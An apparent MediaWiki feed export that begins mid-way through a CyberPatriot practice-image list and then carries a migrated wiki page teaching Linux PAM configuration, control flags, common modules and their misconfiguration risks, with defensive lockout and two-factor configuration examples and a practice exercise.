| [https://drive.google.com/file/d/1vRCt8XVWyJLZOGpByb3o7rghUfyBmtZ1/view?usp=drive_link Google Drive]&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;CCNA Lab Series&#039;&#039;&#039;&lt;br /&gt;
| data-sort-value=&amp;quot;0&amp;quot; | 0 – Unrated&lt;br /&gt;
| data-sort-value=&amp;quot;0&amp;quot; | —&lt;br /&gt;
| Jeremy IT Lab&lt;br /&gt;
| —&lt;br /&gt;
| Covers the whole CCNA. Walkthroughs by Jeremy&#039;s IT Lab.&amp;lt;!-- TODO: add link --&amp;gt;&lt;br /&gt;
| [https://drive.google.com/drive/folders/1hTUo9LDSbJ7WAqiAJ8WdVvsWBE6z3MG6?usp=drive_link Google Drive folder]&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;CCNA Flashcards and Labs&#039;&#039;&#039;&lt;br /&gt;
| data-sort-value=&amp;quot;0&amp;quot; | 0 – Unrated&lt;br /&gt;
| data-sort-value=&amp;quot;10.0&amp;quot; | 10&lt;br /&gt;
| Jeremy IT Lab&lt;br /&gt;
| —&lt;br /&gt;
| Covers the whole CCNA and includes a full flashcard set. Walkthroughs by Jeremy&#039;s IT Lab.&amp;lt;!-- TODO: add link --&amp;gt;&lt;br /&gt;
| [https://drive.google.com/drive/folders/1PwK_jWqfUtOjV7gHt8ODutq9QA5cxCgi Google Drive folder]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Other ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable sortable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Image&lt;br /&gt;
! OS&lt;br /&gt;
! Difficulty&lt;br /&gt;
! Rating&lt;br /&gt;
! Creator&lt;br /&gt;
! Critical services&lt;br /&gt;
! class=&amp;quot;unsortable&amp;quot; | Notes&lt;br /&gt;
! class=&amp;quot;unsortable&amp;quot; | Download&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Boeing 2.0&#039;&#039;&#039;&lt;br /&gt;
| Boeing&lt;br /&gt;
| data-sort-value=&amp;quot;0&amp;quot; | 0 – Unrated&lt;br /&gt;
| data-sort-value=&amp;quot;9.7&amp;quot; | 9.7&lt;br /&gt;
| lukshmwah&lt;br /&gt;
| —&lt;br /&gt;
| Legacy image; the source list calls it a relic.&lt;br /&gt;
| [https://drive.google.com/file/d/1j_f3m6KezvvLMhCdUWkW0h_tRAZ-sRtt/view Google Drive]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Credits ==&lt;br /&gt;
&lt;br /&gt;
This page is adapted from the community-maintained practice-image lists (Windows, Linux, Cisco and Miscellaneous) that were published on the CyberPatriot community&#039;s cypat.guide site; the Windows list credits carbonice as its maintainer. The image names, difficulty labels, ratings and creator credits come from those lists. Images are the work of the creators named in each row.&lt;br /&gt;
&lt;br /&gt;
[[Category:Practice images]]&lt;/div&gt;</summary>
		<author><name>MigrationBot</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=PAM_(Pluggable_Authentication_Module)&amp;diff=115</id>
		<title>PAM (Pluggable Authentication Module)</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=PAM_(Pluggable_Authentication_Module)&amp;diff=115"/>
		<updated>2026-09-18T18:18:53Z</updated>

		<summary type="html">&lt;p&gt;MigrationBot: Import from cypat.guide: docs/linux/account_policies/pam.md&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Submit}}&lt;br /&gt;
&amp;lt;!-- Migrated from https://cypat.guide/docs/linux/account_policies/pam (source: docs/linux/account_policies/pam.md) --&amp;gt;&lt;br /&gt;
&amp;lt;!-- REVIEW: source used JSX (JSX style object); layout-only divs were dropped. Compare with the original. --&amp;gt;&lt;br /&gt;
-----&lt;br /&gt;
&lt;br /&gt;
Author(s): Kirill Shore&lt;br /&gt;
&lt;br /&gt;
Last Updated: 10-02-2025&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! Recommended Prerequisites (click to expand)&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
None&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== What is PAM? ==&lt;br /&gt;
&lt;br /&gt;
PAM stands for Pluggable Authentication Module. It&#039;s a framework that provides important ways to create authentication (and related) programs indipendently of the applications that use them. PAM may be used to handle tasks like verifying a username and password, checking biometric data, or working with external systems like Kerberos, LDAP, or 2FA. PAM systems administartors have the ability to then plug in different authentication module methods (like 2FA) without changing/rewriting applications/programs. I.e. you may switch from password authentication to security keys. Fun fact: the applications themselves don&#039;t know how authentication is performed. The only thing they do is ask pam if the user is who they claim to be.&lt;br /&gt;
&lt;br /&gt;
== Pam Basics ==&lt;br /&gt;
&lt;br /&gt;
There are several PAM services (not to be confused with modules), as an example:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;sshd&amp;lt;/code&amp;gt;, which handles authentication for remote logins via SSH. It validates credentials like passwords, keys, MFA, etc., enforces different policies like banning the ability to login as root, or requiring 2FA. It can also prevent brute force attempts when combined with modules like pam_tally2.&lt;br /&gt;
* &amp;lt;code&amp;gt;login&amp;lt;/code&amp;gt;, it controls authentication for users who are logging in via a text console (i.e. tty). It verifies the username and password, checks if the account is locked/expired, and applies restrictions like time of day logins.&lt;br /&gt;
* &amp;lt;code&amp;gt;sudo&amp;lt;/code&amp;gt;, manages authentication when a user attempts to run commands as another user (i.e. su). It prompts the user for password before escalating privelages. It also has the ability to timeout someone who is root and force them to re-login. On many distros, su cannot be run alone to switch to root, as the root account is disabled by default (meaning its password is locked). Sudo su is instead used. Sudo checks if your user in the sudo or wheel group, asks for your password, and then runs su as root so that there is no need for a root password. Each PAM service also has its own file in &amp;lt;code&amp;gt;/etc/pam.d&amp;lt;/code&amp;gt;. These files define which modules are being user (modules are shared libraries that perform special security functions, such as user authetication, account management, session management, or password management). Some PAM modules are, but not limited to:&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_unix.so&amp;lt;/code&amp;gt; (Default PAM module)&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_tally2.so&amp;lt;/code&amp;gt; (Which is used to count login attempts and lock an account after a specified number of failed attempts)&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_google_authenticator.so&amp;lt;/code&amp;gt; (Which provides 2FA support if you use the Google Authenticator app on a mobile device)&lt;br /&gt;
&lt;br /&gt;
== PAM Security Principles ==&lt;br /&gt;
&lt;br /&gt;
In any Cybersecurity industry, the idea of Least Privilege is important, in order to prevent users from having more power than they need. For example, a teller for FreedomBank has to process a transaction, depositing phyisical cash and adding it to the customers bank account. This employee should not, nor do they need, access to information (unless for verification purposes) such as the tiles or details of past transactions other than their amounts, investment accounts, debts or loans, etc. In this case, the teller is given the minimum privileges to do their job, and nothing more. But how can PAM be used in this case? Let&#039;s suppose that the teller logs into a banking application or a Linux shell for deposits. In &amp;lt;code&amp;gt;/etc/pam.d/deposit_app&amp;lt;/code&amp;gt;, we would configure PAM to allow teller group users or higher to authenticate:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;auth    required    pam_unix.so&lt;br /&gt;
account required    pam_succeed_if.so   user    ingroup tellers&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
(Note that the above is a basic configuration that will ONLY allow tellers to login. An example of a more realistic configuration is below)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;auth    required    pam_faillock.so preauth silent  deny=5  unlock_time=600 # (this would lockout the account to prevent brute-force attacks&lt;br /&gt;
auth    required    pam_unix.so try_first_pass # (primary password authentication)&lt;br /&gt;
auth    required    pam_u2f.so  authfile=/etc/security/u2f_mappings cue # (this would require 2FA via FIDO/U2F security key, and store mappings in /etc/security/u2f_mappings)&lt;br /&gt;
auth    required    pam_faillock.so authfail # (count failures, records them in /var/run/faillock. If the amount of failures exceeds the threshold, the account is locked for the configured time)&lt;br /&gt;
auth    sufficient  pam_faillock.so reset # (If this module succeeds---thus the user authenticates---then it clears any failed login attempts for that user, and resest the counter to 0 for that user)&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
== PAM Control Flags and Keywords ==&lt;br /&gt;
&lt;br /&gt;
Now, you may be asking: what do those flags, like &amp;lt;code&amp;gt;auth&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;required&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;sufficient&amp;lt;/code&amp;gt; and etc. mean? Well, these words are PAM control flags, and they decide when a specific module is invoked, how its result is interpreted, and whwether or not pam keeps processing.&lt;br /&gt;
&lt;br /&gt;
First, there are the facility keywords. These keyowrds tell PAM which phase or type of check the line belongs to.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;auth&amp;lt;/code&amp;gt; -&amp;amp;gt; This verifies a users identity (i.e. Password check, 2FA, smartcard)&lt;br /&gt;
* &amp;lt;code&amp;gt;account&amp;lt;/code&amp;gt; -&amp;amp;gt; This determines if the account is allowed access. (i.e. Is the account expired? Is the user allowed to login from 21:00-08:00?)&lt;br /&gt;
* &amp;lt;code&amp;gt;password&amp;lt;/code&amp;gt; -&amp;amp;gt; This handles changing or updating credentials. (i.e. Enforcing strong password rules when a user runs the command &amp;lt;code&amp;gt;passwd&amp;lt;/code&amp;gt;)&lt;br /&gt;
* &amp;lt;code&amp;gt;session&amp;lt;/code&amp;gt; -&amp;amp;gt; This manages session startup and shutdown. (i.e. Logging session start/stop, mounting home directiories, applying resource limits)&lt;br /&gt;
&lt;br /&gt;
Next, we have the control flags. These define what pam should do with the results of the module.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;required&amp;lt;/code&amp;gt; -&amp;amp;gt; This instructs that the module must succeed in order for authentication to succeed. However, if the module fails, PAM will continue processing, to prevent the user from knowing which check had failed. If any &amp;lt;code&amp;gt;required&amp;lt;/code&amp;gt; module fails, the outcome will be fail, no matter if other modules succeeded.&lt;br /&gt;
* &amp;lt;code&amp;gt;requisite&amp;lt;/code&amp;gt; -&amp;amp;gt; This is mostly the same as &amp;lt;code&amp;gt;required&amp;lt;/code&amp;gt; above. However, instead of continuing upon failure, PAM will stop immediatley and deny access.&lt;br /&gt;
* &amp;lt;code&amp;gt;sufficient&amp;lt;/code&amp;gt; -&amp;amp;gt; If the module succeeds, no further checks are required, and access will be immediatley granted. However, if the module fails, then PAM will keep going.&lt;br /&gt;
* &amp;lt;code&amp;gt;optional&amp;lt;/code&amp;gt; -&amp;amp;gt; Whether or not the success or failure of that module will be considered is if it is the only module of that type. Otherwise, it&#039;ll be ignored. This is mainly used for logging modules and non-critical checks.&lt;br /&gt;
* &amp;lt;code&amp;gt;include&amp;lt;/code&amp;gt; -&amp;amp;gt; This isn&#039;t a flag, but actually a directive. It means &#039;include another PAM configuration file here&#039;. It is mostly used for reusing common configurations.&lt;br /&gt;
&lt;br /&gt;
== PAM Modules ==&lt;br /&gt;
&lt;br /&gt;
Most linux systems come pre-installed with PAM and some modules, whcih are commonly located in &amp;lt;code&amp;gt;/lib/x86_64-linux-gnu/security/&amp;lt;/code&amp;gt; (on Debian/Ubuntu distros; path will/,ay differ on others). Below is a list of common modules, what each of them do, and vulnerabilities/misconfigurations.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_unix&amp;lt;/code&amp;gt; Handles traditional UNIX authentication (passwords stored in &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;). Vulnerability: If the passwords in &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt; are compromised, or weak passwords are used, threat actors can brute force credentials.&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_cracklib&amp;lt;/code&amp;gt;/&amp;lt;code&amp;gt;pam_pwquality&amp;lt;/code&amp;gt; Enforces password strength rules (length, complexity, dictionary checks). Vulnerability: If module isn&#039;t used, weak passwords will be used. If misconfigured, the rules may bee too relaxed (meaning simple passwords) or too strict (meaning passwords complex enough that most users would write their passwords on a sticky note... which they would stick to their monitor).&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_limits&amp;lt;/code&amp;gt; Applies limits defined in &amp;lt;code&amp;gt;/etc/security/limits.conf&amp;lt;/code&amp;gt; (i.e., max processes, file sizes). Vulenrability: Weak or missing limits will allow Denial of Service (Dos) via fork bombs or resource exhaustion.&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_securetty&amp;lt;/code&amp;gt; Restricts &amp;lt;code&amp;gt;root&amp;lt;/code&amp;gt; login to &amp;amp;quot;secure&amp;amp;quot; terminals that are listed in &amp;lt;code&amp;gt;/etc/securetty&amp;lt;/code&amp;gt;. Vulnerability: If misconfigured, threat actors could login as root from unsafe terminals (i.e. remote consoles).&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_nologin&amp;lt;/code&amp;gt; Blocks non-root users from logging in if &amp;lt;code&amp;gt;/etc/nologin&amp;lt;/code&amp;gt; exists (can be used when editing an account to prevent access to it during a timeframe when root permissions are being changed, i.e. an employee being demoted in a company). Vulnerability: If neglected, it may unintentionally lock out legitimate users, or vice-versa not be deployed when it should&#039;ve been.&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_time&amp;lt;/code&amp;gt; Restricts logins based on time of day rules in &amp;lt;code&amp;gt;/etc/security/time.conf&amp;lt;/code&amp;gt;. Vulnerability: Misconfiguration could allow off hours logins to systems when it should be denied (i.e. a bank representative accessing users&#039; accounts at 2am).&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_access&amp;lt;/code&amp;gt; Controls access based on user and host rules from &amp;lt;code&amp;gt;/etc/security/accesss.conf&amp;lt;/code&amp;gt;. Vulnerability: Misconfiguration can grant the wrong users access and deny access to the users that need it.&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_tally&amp;lt;/code&amp;gt;/&amp;lt;code&amp;gt;pam_tally2&amp;lt;/code&amp;gt;/&amp;lt;code&amp;gt;pam_faillock&amp;lt;/code&amp;gt; Counts failed login attempts and can lock accounts after there were too many failed attempts. Vulnerability: &amp;lt;code&amp;gt;pam_tally&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;pam_tally2&amp;lt;/code&amp;gt; have been deprecated due to counting errors, possible username leakage, and more. Replaced with &amp;lt;code&amp;gt;pam_faillock&amp;lt;/code&amp;gt;.&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_wheel&amp;lt;/code&amp;gt; Restricts the &amp;lt;code&amp;gt;su&amp;lt;/code&amp;gt; command to users in the &amp;lt;code&amp;gt;wheel&amp;lt;/code&amp;gt; (also called &amp;lt;code&amp;gt;sudo&amp;lt;/code&amp;gt;) group. Vulnerability: Exploiting [https://nvd.nist.gov/vuln/detail/CVE-2003-0388 CVE-2003-0388] could allow a threat actor to gain &amp;lt;code&amp;gt;wheel&amp;lt;/code&amp;gt;/&amp;lt;code&amp;gt;sudo&amp;lt;/code&amp;gt; privilages, then modify files like &amp;lt;code&amp;gt;sudo&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;login&amp;lt;/code&amp;gt;, or &amp;lt;code&amp;gt;pam_exec&amp;lt;/code&amp;gt;.&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_exec&amp;lt;/code&amp;gt; Runs an external program or script during authentication. Vulnerability: Misconfiguration may result in running incorrect programs during authentication.&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_systemd&amp;lt;/code&amp;gt; Integrates uers sessions with systmd. Vulneravility: could be exploited to read coredump information, which may include &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;. [https://nvd.nist.gov/vuln/detail/CVE-2025-4598 CVE-2025-4598].&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_xauth&amp;lt;/code&amp;gt; Handles X11 forwarding authentication for X11 graphical sessions. Vulnerability: If misconfigured, an insecure forwarding setup may allow [https://www.tenable.com/plugins/nessus/31737?utm_source=chatgpt.com X11 session hijacking].&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_umask&amp;lt;/code&amp;gt; Sets the default file creation permissions (umask) for users. Vulnerability: if minimum permissions are not implemented, users may be able to create world-readable files that leak data (i.e., private keys and SSH data like ~/.ssh/id_rsa).&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_group&amp;lt;/code&amp;gt; Assigns users to groups at login based on rules. Vulnerability: Misconfiguration could result in users being granted unintended group privilages.&lt;br /&gt;
&lt;br /&gt;
=== Practice ===&lt;br /&gt;
&lt;br /&gt;
Can you instruct PAM to have a user login, verify via Google authenticator (&amp;lt;code&amp;gt;pam_google_authenticator.so&amp;lt;/code&amp;gt;), and solve a Captcha (&amp;lt;code&amp;gt;/usr/local/sbin/pam_captcha.sh&amp;lt;/code&amp;gt;) before being granted access? If the user fails the captcha three times, the account is immediatley locked.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! Solution (click to expand)&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;auth    required    pam_faillock.so preauth silent deny=3   unlock_time=900&lt;br /&gt;
auth    required    pam_unix.so try_first_pass&lt;br /&gt;
auth    required    pam_google_authenticator.so&lt;br /&gt;
auth    required    pam_exec.so quiet   log=/var/log/pam_captcha.log seteuid /usr/local/sbin/pam_captcha.sh&lt;br /&gt;
auth    required    pam_faillock.so authfail&lt;br /&gt;
auth    sufficient  pam_faillock.so reset&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! Explanation (click to expand)&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
The first line is a pre-auth. It defines that after 3 total auth failures, the account will be locked.&amp;lt;br /&amp;gt; The second line defines that the primary authentication factor that must be met is the password.&amp;lt;br /&amp;gt; The third line defines that the secondary authentication factor that must be met is getting a code from Google Authenticator.&amp;lt;br /&amp;gt; The fourth line executes a captcha via an external script, and the script will pass to PAM whether or not it failed.&amp;lt;br /&amp;gt; The fith line counts failures.&amp;lt;br /&amp;gt; The sixth line resets the failure counter upon success.&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Open-ended question:&#039;&#039;&#039;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The first line is a pre-auth. It defines that after 3 total auth failures, the account will be locked.&amp;lt;br /&amp;gt; The second line defines that the primary authentication factor that must be met is the password.&amp;lt;br /&amp;gt; The third line defines that the secondary authentication factor that must be met is getting a code from Google Authenticator.&amp;lt;br /&amp;gt; The fourth line executes a captcha via an external script, and the script will pass to PAM whether or not it failed.&amp;lt;br /&amp;gt; The fith line counts failures.&amp;lt;br /&amp;gt; The sixth line resets the failure counter upon success.&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Open-ended question:&#039;&#039;&#039;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Why do you think &amp;lt;code&amp;gt;required&amp;lt;/code&amp;gt; was used instead of &amp;lt;code&amp;gt;requisite&amp;lt;/code&amp;gt;?&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== PAM Vulnerabilites ==&lt;br /&gt;
&lt;br /&gt;
Although PAM seems to be a very straightforward and secure authentication method, it introduces serious security risks if it is not managed correctly.&lt;br /&gt;
&lt;br /&gt;
Most exploits boil down to attackers using [https://www.broadcom.com/support/security-center/protection-bulletin/plague-a-linux-backdoor malicious module] to create backdoors. Because PAM modules run with higher privileges, any compromised or malicious modules can log credentials, grant unauthorized access, or lock out accounts. Current PAM vulnerabilites can be found [https://www.cve.org/CVERecord/SearchResults?query=pam+linux here].&lt;br /&gt;
&lt;br /&gt;
== PAM Auditing ==&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;/usr/lib64/security&amp;lt;/code&amp;gt;&lt;br /&gt;
* &amp;lt;code&amp;gt;/etc/pam.d&amp;lt;/code&amp;gt;&lt;br /&gt;
* &amp;lt;code&amp;gt;/etc/security&amp;lt;/code&amp;gt;&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/log/secure&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[https://www.kirillshore.com My wesbite]&lt;br /&gt;
&lt;br /&gt;
[https://buymeacoffee.com/kirillshore Buy me a coffee]&lt;br /&gt;
&lt;br /&gt;
== Further Reading ==&lt;br /&gt;
&lt;br /&gt;
https://www.redhat.com/en/blog/pam-configuration-file&amp;lt;br /&amp;gt;&lt;br /&gt;
https://www.redhat.com/en/blog/pluggable-authentication-modules-pam&amp;lt;br /&amp;gt;&lt;br /&gt;
https://unit42.paloaltonetworks.com/linux-pam-apis/&amp;lt;br /&amp;gt;&lt;br /&gt;
https://www.broadcom.com/support/security-center/protection-bulletin/plague-a-linux-backdoor&amp;lt;br /&amp;gt;&lt;br /&gt;
https://www.cyberark.com/resources/blog/plague-malware-exploits-pluggable-authentication-module-to-breach-linux-systems&lt;br /&gt;
&lt;br /&gt;
-----&lt;br /&gt;
&lt;br /&gt;
&amp;lt;small&amp;gt;This Wiki page was authored by Kirill Shore. Within cypat.guide, this content is licensed under CC-BY 4.0. All use outside of cypat.guide is governed by the Shore-Roger Enterprises End User License Agreement (https://www.kirillshore.com/eula). Proper attribution to Kirill Shore as the original author is required. Unauthorized copying, modification, or redistribution without appropriate credit constitutes plagiarism and may be subject to U.S. copyright law.&amp;lt;/small&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:Linux Account Policies|025]]&lt;br /&gt;
[[Category:Migrated from cypat.guide]]&lt;/div&gt;</summary>
		<author><name>MigrationBot</name></author>
	</entry>
</feed>